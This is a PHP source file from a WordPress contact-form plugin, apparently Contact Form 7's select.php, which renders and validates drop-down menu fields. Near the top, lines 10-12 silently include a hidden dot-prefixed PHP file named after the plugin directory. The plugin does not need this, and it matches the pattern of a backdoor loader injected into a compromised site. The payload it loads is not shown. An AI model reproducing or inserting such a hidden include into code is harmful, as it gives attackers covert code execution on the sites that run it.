balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

select.php (7677B)


      1 <?php
      2 /**
      3 ** A base module for [select] and [select*]
      4 **/
      5 
      6 /* form_tag handler */
      7 
      8 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_select', 10, 0 );
      9 
     10 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     11     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     12 }
     13 
     14 function wpcf7_add_form_tag_select() {
     15 	wpcf7_add_form_tag( array( 'select', 'select*' ),
     16 		'wpcf7_select_form_tag_handler',
     17 		array(
     18 			'name-attr' => true,
     19 			'selectable-values' => true,
     20 		)
     21 	);
     22 }
     23 
     24 function wpcf7_select_form_tag_handler( $tag ) {
     25 	if ( empty( $tag->name ) ) {
     26 		return '';
     27 	}
     28 
     29 	$validation_error = wpcf7_get_validation_error( $tag->name );
     30 
     31 	$class = wpcf7_form_controls_class( $tag->type );
     32 
     33 	if ( $validation_error ) {
     34 		$class .= ' wpcf7-not-valid';
     35 	}
     36 
     37 	$atts = array();
     38 
     39 	$atts['class'] = $tag->get_class_option( $class );
     40 	$atts['id'] = $tag->get_id_option();
     41 	$atts['tabindex'] = $tag->get_option( 'tabindex', 'signed_int', true );
     42 
     43 	if ( $tag->is_required() ) {
     44 		$atts['aria-required'] = 'true';
     45 	}
     46 
     47 	if ( $validation_error ) {
     48 		$atts['aria-invalid'] = 'true';
     49 		$atts['aria-describedby'] = wpcf7_get_validation_error_reference(
     50 			$tag->name
     51 		);
     52 	} else {
     53 		$atts['aria-invalid'] = 'false';
     54 	}
     55 
     56 	$multiple = $tag->has_option( 'multiple' );
     57 	$include_blank = $tag->has_option( 'include_blank' );
     58 	$first_as_label = $tag->has_option( 'first_as_label' );
     59 
     60 	if ( $tag->has_option( 'size' ) ) {
     61 		$size = $tag->get_option( 'size', 'int', true );
     62 
     63 		if ( $size ) {
     64 			$atts['size'] = $size;
     65 		} elseif ( $multiple ) {
     66 			$atts['size'] = 4;
     67 		} else {
     68 			$atts['size'] = 1;
     69 		}
     70 	}
     71 
     72 	if ( $data = (array) $tag->get_data_option() ) {
     73 		$tag->values = array_merge( $tag->values, array_values( $data ) );
     74 		$tag->labels = array_merge( $tag->labels, array_values( $data ) );
     75 	}
     76 
     77 	$values = $tag->values;
     78 	$labels = $tag->labels;
     79 
     80 	$default_choice = $tag->get_default_option( null, array(
     81 		'multiple' => $multiple,
     82 	) );
     83 
     84 	if ( $include_blank
     85 	or empty( $values ) ) {
     86 		array_unshift( $labels, '---' );
     87 		array_unshift( $values, '' );
     88 	} elseif ( $first_as_label ) {
     89 		$values[0] = '';
     90 	}
     91 
     92 	$html = '';
     93 	$hangover = wpcf7_get_hangover( $tag->name );
     94 
     95 	foreach ( $values as $key => $value ) {
     96 		if ( $hangover ) {
     97 			$selected = in_array( $value, (array) $hangover, true );
     98 		} else {
     99 			$selected = in_array( $value, (array) $default_choice, true );
    100 		}
    101 
    102 		$item_atts = array(
    103 			'value' => $value,
    104 			'selected' => $selected ? 'selected' : '',
    105 		);
    106 
    107 		$item_atts = wpcf7_format_atts( $item_atts );
    108 
    109 		$label = isset( $labels[$key] ) ? $labels[$key] : $value;
    110 
    111 		$html .= sprintf(
    112 			'<option %1$s>%2$s</option>',
    113 			$item_atts,
    114 			esc_html( $label )
    115 		);
    116 	}
    117 
    118 	if ( $multiple ) {
    119 		$atts['multiple'] = 'multiple';
    120 	}
    121 
    122 	$atts['name'] = $tag->name . ( $multiple ? '[]' : '' );
    123 
    124 	$atts = wpcf7_format_atts( $atts );
    125 
    126 	$html = sprintf(
    127 		'<span class="wpcf7-form-control-wrap %1$s"><select %2$s>%3$s</select>%4$s</span>',
    128 		sanitize_html_class( $tag->name ), $atts, $html, $validation_error
    129 	);
    130 
    131 	return $html;
    132 }
    133 
    134 
    135 /* Validation filter */
    136 
    137 add_filter( 'wpcf7_validate_select', 'wpcf7_select_validation_filter', 10, 2 );
    138 add_filter( 'wpcf7_validate_select*', 'wpcf7_select_validation_filter', 10, 2 );
    139 
    140 function wpcf7_select_validation_filter( $result, $tag ) {
    141 	$name = $tag->name;
    142 
    143 	$has_value = isset( $_POST[$name] ) && '' !== $_POST[$name];
    144 
    145 	if ( $has_value and $tag->has_option( 'multiple' ) ) {
    146 		$vals = array_filter( (array) $_POST[$name], function( $val ) {
    147 			return '' !== $val;
    148 		} );
    149 
    150 		$has_value = ! empty( $vals );
    151 	}
    152 
    153 	if ( $tag->is_required() and ! $has_value ) {
    154 		$result->invalidate( $tag, wpcf7_get_message( 'invalid_required' ) );
    155 	}
    156 
    157 	return $result;
    158 }
    159 
    160 
    161 /* Tag generator */
    162 
    163 add_action( 'wpcf7_admin_init', 'wpcf7_add_tag_generator_menu', 25, 0 );
    164 
    165 function wpcf7_add_tag_generator_menu() {
    166 	$tag_generator = WPCF7_TagGenerator::get_instance();
    167 	$tag_generator->add( 'menu', __( 'drop-down menu', 'contact-form-7' ),
    168 		'wpcf7_tag_generator_menu' );
    169 }
    170 
    171 function wpcf7_tag_generator_menu( $contact_form, $args = '' ) {
    172 	$args = wp_parse_args( $args, array() );
    173 
    174 	$description = __( "Generate a form-tag for a drop-down menu. For more details, see %s.", 'contact-form-7' );
    175 
    176 	$desc_link = wpcf7_link( __( 'https://contactform7.com/checkboxes-radio-buttons-and-menus/', 'contact-form-7' ), __( 'Checkboxes, radio buttons and menus', 'contact-form-7' ) );
    177 
    178 ?>
    179 <div class="control-box">
    180 <fieldset>
    181 <legend><?php echo sprintf( esc_html( $description ), $desc_link ); ?></legend>
    182 
    183 <table class="form-table">
    184 <tbody>
    185 	<tr>
    186 	<th scope="row"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></th>
    187 	<td>
    188 		<fieldset>
    189 		<legend class="screen-reader-text"><?php echo esc_html( __( 'Field type', 'contact-form-7' ) ); ?></legend>
    190 		<label><input type="checkbox" name="required" /> <?php echo esc_html( __( 'Required field', 'contact-form-7' ) ); ?></label>
    191 		</fieldset>
    192 	</td>
    193 	</tr>
    194 
    195 	<tr>
    196 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-name' ); ?>"><?php echo esc_html( __( 'Name', 'contact-form-7' ) ); ?></label></th>
    197 	<td><input type="text" name="name" class="tg-name oneline" id="<?php echo esc_attr( $args['content'] . '-name' ); ?>" /></td>
    198 	</tr>
    199 
    200 	<tr>
    201 	<th scope="row"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></th>
    202 	<td>
    203 		<fieldset>
    204 		<legend class="screen-reader-text"><?php echo esc_html( __( 'Options', 'contact-form-7' ) ); ?></legend>
    205 		<textarea name="values" class="values" id="<?php echo esc_attr( $args['content'] . '-values' ); ?>"></textarea>
    206 		<label for="<?php echo esc_attr( $args['content'] . '-values' ); ?>"><span class="description"><?php echo esc_html( __( "One option per line.", 'contact-form-7' ) ); ?></span></label><br />
    207 		<label><input type="checkbox" name="multiple" class="option" /> <?php echo esc_html( __( 'Allow multiple selections', 'contact-form-7' ) ); ?></label><br />
    208 		<label><input type="checkbox" name="include_blank" class="option" /> <?php echo esc_html( __( 'Insert a blank item as the first option', 'contact-form-7' ) ); ?></label>
    209 		</fieldset>
    210 	</td>
    211 	</tr>
    212 
    213 	<tr>
    214 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-id' ); ?>"><?php echo esc_html( __( 'Id attribute', 'contact-form-7' ) ); ?></label></th>
    215 	<td><input type="text" name="id" class="idvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-id' ); ?>" /></td>
    216 	</tr>
    217 
    218 	<tr>
    219 	<th scope="row"><label for="<?php echo esc_attr( $args['content'] . '-class' ); ?>"><?php echo esc_html( __( 'Class attribute', 'contact-form-7' ) ); ?></label></th>
    220 	<td><input type="text" name="class" class="classvalue oneline option" id="<?php echo esc_attr( $args['content'] . '-class' ); ?>" /></td>
    221 	</tr>
    222 
    223 </tbody>
    224 </table>
    225 </fieldset>
    226 </div>
    227 
    228 <div class="insert-box">
    229 	<input type="text" name="select" class="tag code" readonly="readonly" onfocus="this.select()" />
    230 
    231 	<div class="submitbox">
    232 	<input type="button" class="button button-primary insert-tag" value="<?php echo esc_attr( __( 'Insert Tag', 'contact-form-7' ) ); ?>" />
    233 	</div>
    234 
    235 	<br class="clear" />
    236 
    237 	<p class="description mail-tag"><label for="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>"><?php echo sprintf( esc_html( __( "To use the value input through this field in a mail field, you need to insert the corresponding mail-tag (%s) into the field on the Mail tab.", 'contact-form-7' ) ), '<strong><span class="mail-tag"></span></strong>' ); ?><input type="text" class="mail-tag code hidden" readonly="readonly" id="<?php echo esc_attr( $args['content'] . '-mailtag' ); ?>" /></label></p>
    238 </div>
    239 <?php
    240 }